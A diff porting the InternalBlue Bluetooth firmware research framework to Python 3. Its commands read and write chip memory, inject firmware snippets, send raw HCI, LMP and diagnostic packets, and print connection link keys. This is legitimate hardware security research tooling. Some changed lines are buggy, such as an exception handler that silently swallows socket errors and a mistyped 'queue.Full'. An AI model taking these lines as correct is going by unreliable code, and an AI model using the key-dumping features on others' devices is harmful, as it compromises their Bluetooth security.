     def initMemoryImage(self):
+        # type: () -> None
         """
         Initially read out a chip's memory, all sections (RAM+ROM).
         :return:
@@ -168,6 +201,7 @@ class Cmd:
             self.refreshMemoryImage()
 
     def refreshMemoryImage(self):
+        # type: () -> None
         """
         Update an existing memory dump, only RAM sections.
         :return:
@@ -178,12 +212,13 @@ class Cmd:
         for section in self.internalblue.fw.SECTIONS:
             if not section.is_rom:
                 sectiondump = self.readMem(section.start_addr, section.size(), self.progress_log, bytes_done, bytes_total)
-                if sectiondump:
+                if sectiondump and Cmd.memory_image:
                     Cmd.memory_image = Cmd.memory_image[0:section.start_addr] + sectiondump + Cmd.memory_image[section.end_addr:]
                     bytes_done += section.size()
         self.progress_log.success("Received Data: complete")
 
     def getMemoryImage(self, refresh=False):
+        # type: (bool) -> Any
         if Cmd.memory_image is None:
             self.initMemoryImage()
         elif refresh:
@@ -254,7 +289,8 @@ class CmdLogLevel(Cmd):
     log_levels = ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
 
     for keyword in list(keywords):
-        keywords.extend(['%s %s' % (keyword, log_level) for log_level in log_levels])
+        for log_level in log_levels:
+            keywords.append('%s %s' % (keyword, log_level))
 
     parser = argparse.ArgumentParser(prog=keywords[0],
                                      description=description,
@@ -286,7 +322,7 @@ class CmdMonitor(Cmd):
     parser.add_argument("command", 
                         help="One of: start, stop, kill")
 
-    class MonitorController:
+    class MonitorController(object):
         instance = None
 
         @staticmethod
@@ -296,7 +332,7 @@ class CmdMonitor(Cmd):
                 CmdMonitor.MonitorController.instance = CmdMonitor.MonitorController.__MonitorController(internalblue, 0xC9)
             return CmdMonitor.MonitorController.instance
 
-        class __MonitorController:
+        class __MonitorController(object):
             def __init__(self, internalblue, pcap_data_link_type):
                 self.internalblue = internalblue
                 self.running = False
@@ -411,6 +447,7 @@ class CmdMonitor(Cmd):
                     self.wireshark_process = None
 
             def adbhciCallback(self, record):
+                # type: (Record) -> None
                 hcipkt, orig_len, inc_len, flags, drops, recvtime = record
 
                 dummy = "\x00\x00\x00"      # TODO: Figure out purpose of these fields
@@ -503,6 +540,7 @@ class CmdDumpMem(Cmd):
                         help="Only dump the two RAM sections.")
     parser.add_argument("--file", "-f", default="memdump.bin",
                         help="Filename of memory dump (default: %(default)s)")
+    parser.add_argument("--overwrite", action='store_true')
 
     def work(self):
         args = self.getArgs()
@@ -514,10 +552,10 @@ class CmdDumpMem(Cmd):
             bytes_total = sum([s.size() for s in self.internalblue.fw.SECTIONS if s.is_ram])
             bytes_done = 0
             self.progress_log = log.progress("Downloading RAM sections...")
-            for section in filter(lambda s: s.is_ram, self.internalblue.fw.SECTIONS):
+            for section in [s for s in self.internalblue.fw.SECTIONS if s.is_ram]:
                 filename = args.file + "_" + hex(section.start_addr)
                 if os.path.exists(filename):
-                    if not yesno("Update '%s'?" % filename):
+                    if not (args.overwrite or yesno("Update '%s'?" % filename)):
                         log.info("Skipping section @%s" % hex(section.start_addr))
                         bytes_done += section.size()
                         continue
@@ -531,7 +569,7 @@ class CmdDumpMem(Cmd):
 
         # Get complete memory image
         if os.path.exists(args.file):
-            if not yesno("Update '%s'?" % os.path.abspath(args.file)):
+            if not (args.overwrite or yesno("Update '%s'?" % os.path.abspath(args.file))):
                 return False
         
         dump = self.getMemoryImage(refresh=not args.norefresh)
@@ -567,10 +605,10 @@ class CmdSearchMem(Cmd):
         highlight = pattern
         if args.hex:
             try:
-                pattern = pattern.decode('hex')
+                pattern = bytearray.fromhex(pattern)
                 highlight = pattern
             except TypeError as e:
-                log.warn("Search pattern cannot be converted to hexstring: " + str(e))
+                log.warn("Search pattern cannot be converted to bytestring: " + str(e))
                 return False
         elif args.address:
             pattern = p32(int(pattern, 16))
@@ -619,7 +657,7 @@ class CmdHexdump(Cmd):
         if dump == None:
             return False
 
-        log.hexdump(dump, begin=args.address)
+        log.hexdump(bytes(dump), begin=args.address)
         return True
 
 class CmdTelescope(Cmd):
@@ -734,9 +772,9 @@ class CmdWriteMem(Cmd):
             data = ' '.join(args.data)
             if args.hex:
                 try:
-                    data = data.decode('hex')
+                    data = bytearray.fromhex(data)
                 except TypeError as e:
-                    log.warn("Data string cannot be converted to hexstring: " + str(e))
+                    log.warn("Hex string cannot be converted to bytestring: " + str(e))
                     return False
             elif args.int:
                 data = p32(auto_int(data))
@@ -919,14 +957,14 @@ class CmdSendHciCmd(Cmd):
             log.info("cmdcode needs to be in the range of 0x0000 - 0xffff")
             return False
 
-        data = ''
+        data = b''
         for data_part in args.data:
             if data_part[0:2] == "0x":
                 data += p32(auto_int(data_part))
             else:
                 data += data_part.decode('hex')
 
-        self.internalblue.sendHciCommand(args.cmdcode, data)
+        return self.internalblue.sendHciCommand(args.cmdcode, data)
 
         return True
 
@@ -1041,9 +1079,9 @@ class CmdSendLmp(Cmd):
                     connection = self.internalblue.readConnectionInformation(i+1)
                     if connection == None:
                         continue
-                    if connection["connection_handle"] != 0 and connection["remote_address"] != b'\x00\x00\x00\x00\x00\x00':
-                        args.conn_handle = connection["connection_handle"]
-                        is_master = connection["master_of_connection"]
+                    if connection.connection_handle != 0 and connection.remote_address != b'\x00\x00\x00\x00\x00\x00':
+                        args.conn_handle = connection.connection_handle
+                        is_master = connection.master_of_connection
                         break
         
         # if still not set, typical connection handles seem to be 0x0b...0x0d
@@ -1144,21 +1182,21 @@ class CmdInfo(Cmd):
                 continue
 
             log.info("### | Connection ---%02d--- ###" % i)
-            log.info("    - Number:            %d"     % connection["connection_number"])
-            log.info("    - Remote BT address: %s"     % bt_addr_to_str(connection["remote_address"]))
-            log.info("    - Remote BT name:    %08X"   % connection["remote_name_address"])
-            log.info("    - Master of Conn.:   %s"     % str(connection["master_of_connection"]))
-            log.info("    - Conn. Handle:      0x%X"   % connection["connection_handle"])
-            log.info("    - Public RAND:       %s"     % connection["public_rand"].encode('hex'))
-            #log.info("    - PIN:               %s"     % connection["pin"].encode('hex'))
-            #log.info("    - BT addr for key:   %s"     % bt_addr_to_str(connection["bt_addr_for_key"]))
-            log.info("    - Effective Key Len: %d byte (%d bit)" % (connection["effective_key_len"], 8*connection["effective_key_len"]))
-            log.info("    - Link Key:          %s"     % connection["link_key"].encode('hex'))
-            log.info("    - LMP Features:      %s"     % connection["extended_lmp_feat"].encode('hex'))
-            log.info("    - Host Supported F:  %s"     % connection["host_supported_feat"].encode('hex'))
-            log.info("    - TX Power (dBm):    %d"     % connection["tx_pwr_lvl_dBm"])
-            log.info("    - Array Index:       %s"     % connection["id"].encode('hex'))
-        print
+            log.info("    - Number:            %d"     % connection.connection_number)
+            log.info("    - Remote BT address: %s"     % bt_addr_to_str(connection.remote_address))
+            log.info("    - Remote BT name:    %08X"   % connection.remote_name_address)
+            log.info("    - Master of Conn.:   %s"     % str(connection.master_of_connection))
+            log.info("    - Conn. Handle:      0x%X"   % connection.connection_handle)
+            log.info("    - Public RAND:       %s"     % bytes_to_hex(connection.public_rand))
+            #log.info("    - PIN:               %s"     % bytes_to_hex(connection.pin)
+            #log.info("    - BT addr for key:   %s"     % bt_addr_to_str(connection.bt_addr_for_key))
+            log.info("    - Effective Key Len: %d byte (%d bit)" % (connection.effective_key_len, 8*connection["effective_key_len"]))
+            log.info("    - Link Key:          %s"     % bytes_to_hex(connection.link_key))
+            log.info("    - LMP Features:      %s"     % bytes_to_hex(connection.extended_lmp_feat))
+            log.info("    - Host Supported F:  %s"     % bytes_to_hex(connection.host_supported_feat))
+            log.info("    - TX Power (dBm):    %d"     % connection.tx_pwr_lvl_dBm)
+            log.info("    - Array Index:       %s"     % bytes_to_hex(connection.id))
+        print()
         return True
 
     def infoDevice(self, args):
@@ -1167,14 +1205,14 @@ class CmdInfo(Cmd):
                 log.warn(" '%s' not in fw.py. FEATURE NOT SUPPORTED!" % const)
                 return False
         bt_addr      = self.readMem(self.internalblue.fw.BD_ADDR, 6)[::-1]
-        bt_addr_str  = ":".join([b.encode("hex") for b in bt_addr])
+        bt_addr_str =  bt_addr_to_str(bt_addr)
         device_name  = self.readMem(self.internalblue.fw.DEVICE_NAME, 258)
-        device_name_len = u8(device_name[0])-1
+        device_name_len = device_name[0]-1
         device_name  = device_name[2:2+device_name_len]
         adb_serial   = context.device
 
         log.info("### | Device ###")
-        log.info("    - Name:       %s" % device_name)
+        log.info("    - Name:       %s" % device_name.decode('utf-8'))
         log.info("    - ADB Serial: %s" % adb_serial)
         log.info("    - Address:    %s" % bt_addr_str)
         return True
@@ -1196,7 +1234,7 @@ class CmdInfo(Cmd):
                 code = disasm(table_values[i],vma=table_addresses[i],byte=False,offset=False)
                 code = code.replace("    ", " ").replace("\n", ";  ")
                 log.info("[%03d] 0x%08X: %s (%s)" % (i, table_addresses[i],
-                                                 table_values[i].encode('hex'),
+                                                 bytes_to_hex(table_values[i]),
                                                  code))
         return True
 
@@ -1274,7 +1312,7 @@ class CmdInfo(Cmd):
 
         # Print Buffer Details
         buffer_size  = bloc_for_details["buffer_size"] + 4
-        for buffer_address, buffer_hdr in bloc_for_details["buffer_headers"].iteritems():
+        for buffer_address, buffer_hdr in bloc_for_details["buffer_headers"].items():
             progress_log.status("Dumping buffers from BLOC[%d]: 0x%06X" % (bloc_for_details["index"], buffer_address))
             # Buffer in use!
             if buffer_hdr == bloc_for_details["address"]:
@@ -1296,7 +1334,7 @@ class CmdInfo(Cmd):
         
         log.info("[ Idx  ] @Queue-Addr  Queue-Name          Items/Free/Capacity  Item-Size  Buffer")
         log.info("------------------------------------------------------------______--------------")
-        for queue in queuelist:
+        for queue in [vars(element) for element in queuelist]:
             # TODO: waitlist
             log.info(("QUEU[{index:2d}] @ 0x{address:06X}:  {name:21s} {available_items:2d} /"
                       " {free_slots:2d} / {capacity:2d}      {item_size:2d} Bytes    0x{queue_buf_start:06X}").format(**queue))
@@ -1330,7 +1368,7 @@ class CmdInfo(Cmd):
         if args.type in subcommands:
             return subcommands[args.type](args.args)
         else:
-            log.warn("Unkown type: %s\nKnown types: %s" % (args.type, subcommands.keys()))
+            log.warn("Unkown type: %s\nKnown types: %s" % (args.type, list(subcommands.keys())))
             return False
 
 
@@ -1454,7 +1492,8 @@ class CmdCustom(Cmd):
     actions = ['list', 'add', 'run', 'remove']
 
     for keyword in list(keywords):
-        keywords.extend(['%s %s' % (keyword, action) for action in actions])
+        for action in actions:
+            keywords.append('%s %s' % (keyword, action))
 
     parser = argparse.ArgumentParser(prog=keywords[0],
                                      description=description,
@@ -1489,7 +1528,7 @@ class CmdCustom(Cmd):
             return True
 
         if args.do == 'list':
-            custom_cmds= ["\t%s\t\t%s\n" % (k, v) for k, v in sorted(CmdCustom.custom_commands.iteritems())]
+            custom_cmds= ["\t%s\t\t%s\n" % (k, v) for k, v in sorted(CmdCustom.custom_commands.items())]
             log.info("Custom commands:\n%s" % ''.join(custom_cmds))
             return True
 
@@ -1574,7 +1613,7 @@ class CmdReadAfhChannelMap(Cmd):
                     if connection == None:
                         continue
                     else:
-                        self.readafh(connection["connection_handle"])
+                        self.readafh(connection.connection_handle)
                 return True
             # if not set but connection struct unknown, typical connection handles seem to be 0x0b...0x0d
             else:
@@ -1587,15 +1626,15 @@ class CmdReadAfhChannelMap(Cmd):
         """
         response = self.internalblue.sendHciCommand(0x1406, p16(handle))
                 
-        if len(response) < 17 or response[8:] == '\x00'*9:
+        if len(response) < 17 or response[8:] == b'\x00'*9:
             log.info("Connection 0x%04x is not established." % handle)
             return False
     
         log.info("Connection Handle: 0x%04x" % handle)
-        log.info("AFH Enabled: %s" % bool(response[7] != '\x00'))
+        log.info("AFH Enabled: %s" % bool(response[7] != 0))
         channels = ""
         for c in response[8:]:
-            bits = format(ord(c), '08b')
+            bits = format(c, '08b')
             for b in bits:
                 if b == "1":
                     channels = channels + " *"
@@ -1622,10 +1661,18 @@ class CmdSendDiagCmd(Cmd):
     parser = argparse.ArgumentParser(prog=keywords[0],
                                      description=description,
                                      epilog="Aliases: " + ", ".join(keywords))
+    parser.add_argument("--type", type=auto_int, default=0x07,
+                        help="Type. Default is 0x07, but you can use 0x02 for ACL and 0x03 for SCO."
+                             "Other values might crash.")
     parser.add_argument("data", nargs="*",
-                        help="Payload as combinations of hexstrings and hex-uint32 (starting with 0x..). Known commands so far: Reset ACL BR Stats (b9), Get ACL BR Stats (c1), Get ACL EDR Stats (c2), Get AUX Stats (c3), Get Connections (cf), Enable Link Manager Diagnostics (f001), Get Memory Peek (f1), Get Memory Poke (f2), Get Memory Dump (f3), Packet Test (f6).")
+                        help="Payload as combinations of hexstrings and hex-uint32 (starting with 0x..). "
+                             "Known commands so far: Reset ACL BR Stats (b9), Get ACL BR Stats (c1), "
+                             "Get ACL EDR Stats (c2), Get AUX Stats (c3), Get Connections (cf), "
+                             "Enable Link Manager Diagnostics (f001), Get Memory Peek (f1), Get Memory Poke (f2), "
+                             "Get Memory Dump (f3), Packet Test (f6).")
 
     def work(self):
+
         args = self.getArgs()
         if not args or not args.data:
             return True
@@ -1637,7 +1684,7 @@ class CmdSendDiagCmd(Cmd):
             else:
                 data += data_part.decode('hex')
 
-        self.internalblue.sendH4(0x07, data)
+        self.internalblue.sendH4(args.type, data)
 
         return True
 

internalblue/core.py

@@ -25,20 +25,44 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
+from __future__ import division
+from future import standard_library
+standard_library.install_aliases()
+from builtins import hex
+from builtins import str
+from builtins import range
+from builtins import object
+from past.utils import old_div
 from abc import ABCMeta, abstractmethod
 
 from pwn import *
-from fw.fw import Firmware
+from .fw.fw import Firmware
 import datetime
 import time
-import Queue
-import hci
+import queue as queue2k
+from . import hci
+from .objects.queue_element import QueueElement
+from .objects.connection_information import ConnectionInformation
+from future.utils import with_metaclass
+from internalblue.utils import bytes_to_hex
 
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Union, NewType, Callable
+    from internalblue import Address, Record, Task, HCI_CMD, FilterFunction, ConnectionNumber, ConnectionDict, \
+    ConnectionIndex, BluetoothAddress, HeapInformation, QueueInformation, Opcode
+    from internalblue.hci import HCI
+    from . import DeviceTuple
+    if TYPE_CHECKING:
+        pass
+except:
+    pass
 
-class InternalBlue:
-    __metaclass__ = ABCMeta
+#import logging
+#log = logging.getLogger(__name__)
 
-    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
+class InternalBlue(with_metaclass(ABCMeta, object)):
+    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory=".", replay=False):
+        # type: (int, str, str, bool, str, bool) -> None
         context.log_level = log_level
         context.log_file = data_directory + '/_internalblue.log'
         context.arch = "thumb"
@@ -48,11 +72,11 @@ class InternalBlue:
 
 
         self.data_directory = data_directory
-        self.s_inject = None    # This is the TCP socket to the HCI inject port
-        self.s_snoop = None     # This is the TCP socket to the HCI snoop port
+        self.s_inject = None    #type: socket.socket # This is the TCP socket to the HCI inject port
+        self.s_snoop = None     #type: socket.socket  # This is the TCP socket to the HCI snoop port
 
         # If btsnooplog_filename is set, write all incomming HCI packets to a file (can be viewed in wireshark for debugging)
-        if btsnooplog_filename != None:
+        if btsnooplog_filename is not None:
             self.write_btsnooplog = True
             self.btsnooplog_file = open(self.data_directory + "/" + btsnooplog_filename, "wb")
         else:
@@ -78,12 +102,12 @@ class InternalBlue:
         # firmware (the response is recognized with the help of the filter function).
         # Once the response arrived, it puts the response into the response_queue from
         # the tuple. See sendH4() and sendHciCommand().
-        self.sendQueue = Queue.Queue(queue_size)
+        self.sendQueue = queue2k.Queue(queue_size) # type: Queue.Queue[Task]
 
         self.recvThread = None                  # The thread which is responsible for the HCI snoop socket
         self.sendThread = None                  # The thread which is responsible for the HCI inject socket
 
-        self.tracepoints = []                   # A list of currently active tracepoints 
+        self.tracepoints = []                   # A list of currently active tracepoints
                                                 # The list contains tuples:
                                                 # [0] target address
                                                 # [1] address of the hook code
@@ -103,7 +127,7 @@ class InternalBlue:
         # filter_function will be called for each packet that is received and only if it returns
         # True, the packet will be put into the queue. The filter_function can be None in order
         # to put all packets into the queue.
-        self.registeredHciRecvQueues = []
+        self.registeredHciRecvQueues = [] # type: List[Tuple[Queue.Queue[Record], FilterFunction]]
 
         self.exit_requested = False             # Will be set to true when the framework wants to shut down (e.g. on error or user exit)
         self.running = False                    # 'running' is True once the connection to the HCI sockets is established
@@ -120,6 +144,9 @@ class InternalBlue:
         self.registerHciCallback(self.connectionStatusCallback)
         self.registerHciCallback(self.coexStatusCallback)
 
+        # If the --replay flag was used and a chip is spoofed.
+        self.replay = replay
+
     def check_binutils(self, fix=True):
         """
         Test if ARM binutils is in path so that asm and disasm (provided by
@@ -162,6 +189,7 @@ class InternalBlue:
             return False
 
     def _parse_time(self, time):
+        # type: (Any) -> datetime.datetime
         """
         Taken from: https://github.com/joekickass/python-btsnoop
 
@@ -175,12 +203,14 @@ class InternalBlue:
         time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
         time_since_2000_epoch = datetime.timedelta(microseconds=time) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
         return datetime.datetime(2000, 1, 1) + time_since_2000_epoch
-    
+
     @abstractmethod
     def _recvThreadFunc(self):
+        # type: () -> None
         pass
 
     def _sendThreadFunc(self):
+        # type: () -> None
         """
         This is the run-function of the sendThread. It polls the sendQueue for new 'send tasks'
         and executes them (sends H4 commands to the chip and returns the response).
@@ -203,7 +233,7 @@ class InternalBlue:
             # Wait for 'send task' in send queue
             try:
                 task = self.sendQueue.get(timeout=0.5)
-            except Queue.Empty:
+            except queue2k.Empty:
                 continue
 
             # Extract the components of the task
@@ -255,15 +285,17 @@ class InternalBlue:
 
             # if the caller expects a response: register a queue to receive the response
             if queue != None and filter_function != None:
-                recvQueue = Queue.Queue(1)
+                recvQueue = queue2k.Queue(1)
                 self.registerHciRecvQueue(recvQueue, filter_function)
 
             # Send command to the chip using s_inject socket
             try:
-                log.debug("_sendThreadFunc: Send: " + str(out.encode('hex')))
+                log.debug("_sendThreadFunc: Send: " + bytes_to_hex(out))
                 self.s_inject.send(out)
-            except:
-                log.warn("_sendThreadFunc: Sending to socket failed, reestablishing connection.\nWith HCI sockets, some HCI commands require root!")
+            except socket.error:
+                pass
+            except socket.error as e:
+                log.warn("_sendThreadFunc: Sending to socket failed with {}, reestablishing connection.\nWith HCI sockets, some HCI commands require root!".format(e))
                 # socket are terminated by hcicore..
                 self._teardownSockets()
                 self._setupSockets()
@@ -275,7 +307,7 @@ class InternalBlue:
                     record = recvQueue.get(timeout=2)
                     hcipkt = record[0]
                     data   = hcipkt.data
-                except Queue.Empty:
+                except queue2k.Empty:
                     log.warn("_sendThreadFunc: No response from the firmware.")
                     data = None
                     self.unregisterHciRecvQueue(recvQueue)
@@ -287,6 +319,7 @@ class InternalBlue:
         log.debug("Send Thread terminated.")
 
     def _tracepointHciCallbackFunction(self, record):
+        # type: (Record) -> None
         hcipkt = record[0]      # get HCI Event packet
         timestamp = record[5]   # get timestamp
 
@@ -309,7 +342,7 @@ class InternalBlue:
             registers += "r10: 0x%08x   r11: 0x%08x   r12: 0x%08x\n" % \
                         tuple(self.tracepoint_registers[13:16])
             log.info("Tracepoint 0x%x was hit and deactivated:\n" % pc + registers)
-            
+
             filename = self.data_directory + "/" + "internalblue_tracepoint_registers_%s.bin" % datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
             log.info("Captured Registers for Tracepoint to %s" % filename)
             f = open(filename, "w")
@@ -333,7 +366,7 @@ class InternalBlue:
 
             if self.tracepoint_memdump_address == None:
                 self.tracepoint_memdump_address = dump_address
-            normalized_address = dump_address - self.tracepoint_memdump_address 
+            normalized_address = dump_address - self.tracepoint_memdump_address
             self.tracepoint_memdump_parts[normalized_address] = data
 
             # Check if this was the last packet
@@ -348,6 +381,7 @@ class InternalBlue:
 
 
     def addTracepoint(self, address):
+        # type: (Address) -> bool
         # Check if constants are defined in fw.py
         for const in ['TRACEPOINT_BODY_ASM_LOCATION', 'TRACEPOINT_BODY_ASM_SNIPPET',
                       'TRACEPOINT_HOOK_ASM', 'TRACEPOINT_HOOKS_LOCATION',
@@ -441,6 +475,7 @@ class InternalBlue:
         return True
 
     def deleteTracepoint(self, address):
+        # type: (Address) -> bool
         if not self.check_running():
             return False
 
@@ -460,6 +495,7 @@ class InternalBlue:
         return True
 
     def check_running(self):
+        # type: () -> bool
         """
         Check if the framework is running (i.e. the sockets are connected,
         the recv and send threads are running and exit_requested is not True)
@@ -475,10 +511,11 @@ class InternalBlue:
 
     @abstractmethod
     def device_list(self):
+        # type: () -> List[DeviceTuple]
         pass
 
     def connect(self):
-
+        # type: () -> bool
         if self.exit_requested:
             self.shutdown()
 
@@ -510,7 +547,7 @@ class InternalBlue:
 
         # register hci callback:
         self.registerHciCallback(self.stackDumpReceiver.recvPacket)
-        
+
         if not self.initialize_fimware():
             log.warn("connect: Failed to initialize firmware!")
             return False
@@ -522,16 +559,17 @@ class InternalBlue:
     @abstractmethod
     def local_connect(self):
         return True
-    
+
     def initialize_fimware(self):
+        # type: () -> bool
         """
         Checks if we are running on a Broadcom chip and loads available firmware information based
         on LMP subversion.
         """
 
         # send Read_Local_Version_Information
-        version = self.sendHciCommand(0x1001, '')
-        
+        version = self.sendHciCommand(0x1001, ''.encode('utf-8'))
+
         if not version or len(version) < 11:
             log.warn("""initialize_fimware: Failed to send a HCI command to the Bluetooth driver.
             adb: Check if you installed a custom bluetooth.default.so properly on your
@@ -540,27 +578,28 @@ class InternalBlue:
             return False
 
         # Broadcom uses 0x000f as vendor ID, Cypress 0x0131
-        vendor = (u8(version[9]) << 8) + u8(version[8])
+        vendor = (version[9] << 8) + version[8]
         if vendor != 0xf and vendor != 0x131:
             log.critical("Not running on a Broadcom or Cypress chip!")
             return False
         else:
-            subversion = (u8(version[11]) << 8) + u8(version[10])
+            subversion = (version[11] << 8) + version[10]
 
             iOS = False
             if self.__class__.__name__ == "iOSCore":
                 iOS = True
 
             self.fw = Firmware(subversion, iOS).firmware
-        
+
         # Safe to turn diagnostic logging on, it just gets a timeout if the Android
         # driver was recompiled with other flags but without applying a proper patch.
         log.info("Try to enable debugging on H4 (warning if not supported)...")
         self.enableBroadcomDiagnosticLogging(True)
-            
+
         return True
 
     def shutdown(self):
+        # type: () -> None
         """
         Shutdown the framework by stopping the send and recv threads. Socket shutdown
         also terminates port forwarding if adb is used.
@@ -593,6 +632,7 @@ class InternalBlue:
         log.info("Shutdown complete.")
 
     def registerHciCallback(self, callback):
+        # type: (Callable[[Record], None ]) -> None
         """
         Add a new callback function to self.registeredHciCallbacks.
         The function will be called every time the recvThread receives
@@ -612,6 +652,7 @@ class InternalBlue:
         self.registeredHciCallbacks.append(callback)
 
     def unregisterHciCallback(self, callback):
+        # type: (Callable[[Tuple[HCI, int, int, int, Any, datetime.datetime]], None ]) -> None
         """
         Remove a callback function from self.registeredHciCallbacks.
         """
@@ -622,6 +663,7 @@ class InternalBlue:
         log.warn("registerHciCallback: no such callback is registered!")
 
     def registerHciRecvQueue(self, queue, filter_function=None):
+        # type: (Queue.Queue[Record], FilterFunction) -> None
         """
         Add a new queue to self.registeredHciRecvQueues.
         The queue will be filled by the recvThread every time the thread receives
@@ -644,6 +686,7 @@ class InternalBlue:
         self.registeredHciRecvQueues.append((queue, filter_function))
 
     def unregisterHciRecvQueue(self, queue):
+        # type: (Queue.Queue[Tuple[HCI, int, int, int, Any, datetime]]) -> None
         """
         Remove a queue from self.registeredHciRecvQueues.
         """
@@ -655,6 +698,7 @@ class InternalBlue:
         log.warn("registerHciRecvQueue: no such queue is registered!")
 
     def sendHciCommand(self, opcode, data, timeout=3):
+        # type: (Opcode, bytes, int) -> Optional[bytearray]
         """
         Send an arbitrary HCI command packet by pushing a send-task into the
         sendQueue. This function blocks until the response is received
@@ -666,7 +710,7 @@ class InternalBlue:
         #      return this instead of the Command Complete Event (which will
         #      follow later and will be ignored). This should be fixed..
 
-        queue = Queue.Queue(1)
+        queue = queue2k.Queue(1)
 
         # standard HCI command structure
         payload = p16(opcode) + p8(len(data)) + data
@@ -674,6 +718,7 @@ class InternalBlue:
         # define a filter function which recognizes the response (command complete
         # or command status event).
         def recvFilterFunction(record):
+            # type: (Record) -> bool
             hcipkt = record[0]
 
             log.debug("sendHciCommand.recvFilterFunction: got response")
@@ -695,14 +740,19 @@ class InternalBlue:
                                timeout=timeout)
             ret = queue.get(timeout=timeout)
             return ret
-        except Queue.Empty:
+        except queue2k.Empty:
             log.warn("sendHciCommand: waiting for response timed out!")
+            # If there was no response because the Trace Replay Hook throw an assert it will be in this attribute.
+            # Raise this so the main thread doesn't ignore this and it will be caught by any testing framework
+            if hasattr(self, 'test_failed'):
+                raise self.test_failed
             return None
-        except Queue.Full:
+        except queue.Full:
             log.warn("sendHciCommand: send queue is full!")
             return None
 
     def sendH4(self, h4type, data, timeout=2):
+        # type: (HCI_CMD, bytes, int) -> bool
         """
         Send an arbitrary H4 packet by pushing a send-task into the
         sendQueue. This function does not wait for a response! If you
@@ -714,11 +764,12 @@ class InternalBlue:
         try:
             self.sendQueue.put((h4type, data, None, None), timeout=timeout)
             return True
-        except Queue.Full:
+        except queue.Full:
             log.warn("sendH4: send queue is full!")
             return False
 
     def recvPacket(self, timeout=None):
+        # type: (Optional[int]) -> Optional[Record]
         """
         This function polls the recvQueue for the next available HCI
         packet and returns it. The function checks whether it is called
@@ -731,7 +782,7 @@ class InternalBlue:
         a blocking manner. Consider using the registerHciCallback()
         functionality as an alternative which works asynchronously.
         """
-        
+
         log.debug("recvPacket: called")
 
         if not self.check_running():
@@ -739,10 +790,11 @@ class InternalBlue:
 
         try:
             return self.recvQueue.get(timeout=timeout)
-        except Queue.Empty:
+        except queue2k.Empty:
             return None
 
     def readMem(self, address, length, progress_log=None, bytes_done=0, bytes_total=0):
+        # type: (int, int, Optional[Any], int, int) -> Optional[bytes]
         """
         Reads <length> bytes from the memory space of the firmware at the given
         address. Reading from unmapped memory or certain memory-mapped-IO areas
@@ -761,9 +813,9 @@ class InternalBlue:
 
         read_addr = address         # read_addr is the address of the next Read_RAM HCI command
         byte_counter = 0            # tracks the number of received bytes
-        outbuffer = ''              # buffer which stores all accumulated data read from the chip
+        outbuffer = bytearray()     # buffer which stores all accumulated data read from the chip
         if bytes_total == 0:        # If no total bytes where given just use length
-            bytes_total = length        
+            bytes_total = length
         retry = 3                   # Retry on failures
         while read_addr < address+length:  # Send HCI Read_RAM commands until all data is received
             # Send hci frame
@@ -796,7 +848,7 @@ class InternalBlue:
                 log.debug("readMem: insufficient bytes returned, retrying...")
                 continue
 
-            status = ord(response[3])
+            status = response[3]
             if status != 0:
                 # It is not yet reverse engineered what this byte means. For almost
                 # all memory addresses it will be 0. But for some it will be different,
@@ -820,13 +872,14 @@ class InternalBlue:
             read_addr += len(data)
             byte_counter += len(data)
             if(progress_log != None):
-                msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter, 
-                        bytes_total, (bytes_done+byte_counter)*100/bytes_total)
+                msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter,
+                        bytes_total, old_div((bytes_done+byte_counter)*100,bytes_total))
                 progress_log.status(msg)
             retry = 3  # this round worked, so we re-enable retries
         return outbuffer
 
     def readMemAligned(self, address, length, progress_log=None, bytes_done=0, bytes_total=0):
+        # type: (int, int, Optional[Any], int, int) -> Any
         """
         This is an alternative to readMem() which enforces a strictly aligned access
         to the memory that is read. This is needed for e.g. the memory-mapped-IO
@@ -862,8 +915,9 @@ class InternalBlue:
             log.warn("readMemAligned: address (0x%x) must be 4-byte aligned!" % address)
             return None
 
-        recvQueue = Queue.Queue(1)
+        recvQueue = queue2k.Queue(1)
         def hciFilterFunction(record):
+            # type: (Record) -> bool
             hcipkt = record[0]
             if not issubclass(hcipkt.__class__, hci.HCI_Event):
                 return False
@@ -887,20 +941,24 @@ class InternalBlue:
                 blocksize = 244
 
             # Customize the assembler snippet with the current read_addr and blocksize
-            code = asm(self.fw.READ_MEM_ALIGNED_ASM_SNIPPET % (blocksize, read_addr, blocksize/4), vma=self.fw.READ_MEM_ALIGNED_ASM_LOCATION, arch='thumb')
+            code = asm(self.fw.READ_MEM_ALIGNED_ASM_SNIPPET % (blocksize, read_addr, old_div(blocksize,4)), vma=self.fw.READ_MEM_ALIGNED_ASM_LOCATION, arch='thumb')
 
             # Write snippet to the RAM (TODO: maybe backup and restore content of this area?)
             self.writeMem(self.fw.READ_MEM_ALIGNED_ASM_LOCATION, code)
 
             # Run snippet
             if not self.launchRam(self.fw.READ_MEM_ALIGNED_ASM_LOCATION):
-                log.error("readMemAligned: launching assembler snippet failed!")
-                return None
+                # on iOSCore the return value might be wrong
+                if self.doublecheck:
+                    log.debug("readMemAligned: probably failed, but continuing...")
+                else:
+                    log.error("readMemAligned: launching assembler snippet failed!")
+                    return None
 
             # wait for the custom HCI event sent by the snippet:
             try:
                 record = recvQueue.get(timeout=1)
-            except Queue.Empty:
+            except queue2k.Empty:
                 log.warn("readMemAligned: No response from assembler snippet.")
                 return None
 
@@ -909,15 +967,16 @@ class InternalBlue:
             outbuffer += data
             read_addr += len(data)
             byte_counter += len(data)
-            if(progress_log != None):
-                msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter, 
-                        bytes_total, (bytes_done+byte_counter)*100/bytes_total)
+            if progress_log is not None:
+                msg = "receiving data... %d / %d Bytes (%d%%)" % (bytes_done+byte_counter,
+                        bytes_total, old_div((bytes_done+byte_counter)*100,bytes_total))
                 progress_log.status(msg)
 
         self.unregisterHciRecvQueue(recvQueue)
         return outbuffer
 
